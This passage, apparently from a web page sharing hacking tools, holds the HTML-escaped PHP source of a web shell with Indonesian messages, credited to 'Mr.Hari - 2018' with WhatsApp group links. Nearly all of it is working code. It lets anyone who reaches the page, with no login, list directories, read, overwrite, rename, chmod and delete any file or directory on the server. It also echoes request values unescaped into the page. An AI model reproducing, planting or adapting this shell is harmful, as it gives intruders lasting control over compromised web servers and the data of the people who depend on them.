Gagal&lt;/font&gt;&lt;br /&gt;';</div> <div>}</div> <div>}</div> <div>echo '&lt;form method=&quot;POST&quot;&gt;</div> <div>Permission : &lt;input name=&quot;perm&quot; type=&quot;text&quot; size=&quot;4&quot; value=&quot;'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'&quot; /&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;'.$_POST['path'].'&quot;&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;opt&quot; value=&quot;chmod&quot;&gt;</div> <div>&lt;input type=&quot;submit&quot; value=&quot;Go&quot; /&gt;</div> <div>&lt;/form&gt;';</div> <div>}elseif($_POST['opt'] == 'rename'){</div> <div>if(isset($_POST['newname'])){</div> <div>if(rename($_POST['path'],$path.'/'.$_POST['newname'])){</div> <div>echo 'Ganti Nama Berhasil&lt;/font&gt;&lt;br/&gt;';</div> <div>}else{</div> <div>echo '&lt;font color=&quot;red&quot;&gt;Ganti Nama Gagal&lt;/font&gt;&lt;br /&gt;';</div> <div>}</div> <div>$_POST['name'] = $_POST['newname'];</div> <div>}</div> <div>echo '&lt;form method=&quot;POST&quot;&gt;</div> <div>New Name : &lt;input name=&quot;newname&quot; type=&quot;text&quot; size=&quot;20&quot; value=&quot;'.$_POST['name'].'&quot; /&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;'.$_POST['path'].'&quot;&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;opt&quot; value=&quot;rename&quot;&gt;</div> <div>&lt;input type=&quot;submit&quot; value=&quot;Go&quot; /&gt;</div> <div>&lt;/form&gt;';</div> <div>}elseif($_POST['opt'] == 'edit'){</div> <div>if(isset($_POST['src'])){</div> <div>$fp = fopen($_POST['path'],'w');</div> <div>if(fwrite($fp,$_POST['src'])){</div> <div>echo 'Berhasil Edit File&lt;/font&gt;&lt;br/&gt;';</div> <div>}else{</div> <div>echo '&lt;font color=&quot;red&quot;&gt;Gagal Edit File&lt;/font&gt;&lt;br/&gt;';</div> <div>}</div> <div>fclose($fp);</div> <div>}</div> <div>echo '&lt;form method=&quot;POST&quot;&gt;</div> <div>&lt;textarea cols=80 rows=20 name=&quot;src&quot;&gt;'.htmlspecialchars(file_get_contents($_POST['path'])).'&lt;/textarea&gt;&lt;br /&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;'.$_POST['path'].'&quot;&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;opt&quot; value=&quot;edit&quot;&gt;</div> <div>&lt;input type=&quot;submit&quot; value=&quot;Save&quot; /&gt;</div> <div>&lt;/form&gt;';</div> <div>}</div> <div>echo '&lt;/center&gt;';</div> <div>}else{</div> <div>echo '&lt;/table&gt;&lt;br/&gt;&lt;center&gt;';</div> <div>if(isset($_GET['option']) &amp;&amp; $_POST['opt'] == 'delete'){</div> <div>if($_POST['type'] == 'dir'){</div> <div>if(rmdir($_POST['path'])){</div> <div>echo 'Directory Terhapus&lt;/font&gt;&lt;br/&gt;';</div> <div>}else{</div> <div>echo '&lt;font color=&quot;red&quot;&gt;Directory Gagal Terhapus &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/font&gt;&lt;br/&gt;';</div> <div>}</div> <div>}elseif($_POST['type'] == 'file'){</div> <div>if(unlink($_POST['path'])){</div> <div>echo 'File Terhapus&lt;/font&gt;&lt;br/&gt;';</div> <div>}else{</div> <div>echo '&lt;font color=&quot;red&quot;&gt;File Gagal Dihapus&lt;/font&gt;&lt;br/&gt;';</div> <div>}</div> <div>}</div> <div>}</div> <div>echo '&lt;/center&gt;';</div> <div>$scandir = scandir($path);</div> <div>echo '&lt;div&gt;&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;1&quot; align=&quot;center&quot;&gt;</div> <div>&lt;tr class=&quot;first&quot;&gt;</div> <div>&lt;td&gt;&lt;center&gt;Name&lt;/peller&gt;&lt;/center&gt;&lt;hr&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;Size&lt;/peller&gt;&lt;/center&gt;&lt;hr&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;Permission&lt;/peller&gt;&lt;/center&gt;&lt;hr&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;Modify&lt;/peller&gt;&lt;/center&gt;&lt;hr&gt;&lt;/td&gt;</div> <div>&lt;/tr&gt;';</div> <div><br /> </div> <div>foreach($scandir as $dir){</div> <div>if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;</div> <div>echo '&lt;tr&gt;</div> <div>&lt;td&gt;&lt;a href=&quot;?path='.$path.'/'.$dir.'&quot;&gt;'.$dir.'&lt;/a&gt;&lt;hr&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;--&lt;/center&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;';</div> <div>if(is_writable($path.'/'.$dir)) ;</div> <div>elseif(!is_readable($path.'/'.$dir)) echo '&lt;font color=&quot;red&quot;&gt;';</div> <div>echo perms($path.'/'.$dir);</div> <div>if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '&lt;/font&gt;';</div> <div><br /> </div> <div>echo '&lt;/center&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;&lt;form method=&quot;POST&quot; action=&quot;?option&amp;path='.$path.'&quot;&gt;</div> <div>&lt;select name=&quot;opt&quot;&gt;</div> <div>&lt;option value=&quot;&quot;&gt;Select&lt;/option&gt;</div> <div>&lt;option value=&quot;delete&quot;&gt;Delete&lt;/option&gt;</div> <div>&lt;option value=&quot;chmod&quot;&gt;Chmod&lt;/option&gt;</div> <div>&lt;option value=&quot;rename&quot;&gt;Rename&lt;/option&gt;</div> <div>&lt;/select&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;type&quot; value=&quot;dir&quot;&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;name&quot; value=&quot;'.$dir.'&quot;&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;'.$path.'/'.$dir.'&quot;&gt;</div> <div>&lt;input type=&quot;submit&quot; value=&quot;&gt;&quot;&gt;</div> <div>&lt;/form&gt;&lt;/center&gt;&lt;/td&gt;</div> <div>&lt;/tr&gt;';</div> <div>}</div> <div>echo '&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;';</div> <div>foreach($scandir as $file){</div> <div>if(!is_file($path.'/'.$file)) continue;</div> <div>$size = filesize($path.'/'.$file)/1024;</div> <div>$size = round($size,3);</div> <div>if($size &gt;= 1024){</div> <div>$size = round($size/1024,2).' MB';</div> <div>}else{</div> <div>$size = $size.' KB';</div> <div>}</div> <div><br /> </div> <div>echo '&lt;tr&gt;</div> <div>&lt;td&gt;&lt;a href=&quot;?filesrc='.$path.'/'.$file.'&amp;path='.$path.'&quot;&gt;'.$file.'&lt;/a&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;'.$size.'&lt;/center&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;';</div> <div>if(is_writable($path.'/'.$file)) ;</div> <div>elseif(!is_readable($path.'/'.$file)) echo '&lt;font color=&quot;red&quot;&gt;';</div> <div>echo perms($path.'/'.$file);</div> <div>if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '&lt;/font&gt;';</div> <div>echo '&lt;/center&gt;&lt;/td&gt;</div> <div>&lt;td&gt;&lt;center&gt;&lt;form method=&quot;POST&quot; action=&quot;?option&amp;path='.$path.'&quot;&gt;</div> <div>&lt;select name=&quot;opt&quot;&gt;</div> <div>&lt;option value=&quot;&quot;&gt;Select&lt;/option&gt;</div> <div>&lt;option value=&quot;delete&quot;&gt;Delete&lt;/option&gt;</div> <div>&lt;option value=&quot;chmod&quot;&gt;Chmod&lt;/option&gt;</div> <div>&lt;option value=&quot;rename&quot;&gt;Rename&lt;/option&gt;</div> <div>&lt;option value=&quot;edit&quot;&gt;Edit&lt;/option&gt;</div> <div>&lt;/select&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;type&quot; value=&quot;file&quot;&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;name&quot; value=&quot;'.$file.'&quot;&gt;</div> <div>&lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;'.$path.'/'.$file.'&quot;&gt;</div> <div>&lt;input type=&quot;submit&quot; value=&quot;&gt;&quot;&gt;</div> <div>&lt;/form&gt;&lt;/center&gt;&lt;/td&gt;</div> <div>&lt;/tr&gt;';</div> <div>}</div> <div>echo '&lt;/table&gt;</div> <div>&lt;/div&gt;';</div> <div>}</div> <div>echo &quot;&lt;hr&gt;&lt;center&gt;&lt;a href='https://chat.whatsapp.com/J4nely8tzxN7gnAZRCDR5T' target='_blank'&gt;&lt;font size='3px'&gt;Blog&lt;/a&gt; Copyright Mr.Hari - 2018 &lt;a href='https://chat.whatsapp.com/J4nely8tzxN7gnAZRCDR5T' target='_blank'&gt;&lt;font size='3px'&gt;TOUCH ME&lt;/a&gt;&lt;hr&gt;</div> <div>&lt;/body&gt;</div> <div>&lt;/html&gt;&quot;;</div> <div>?&gt;</div>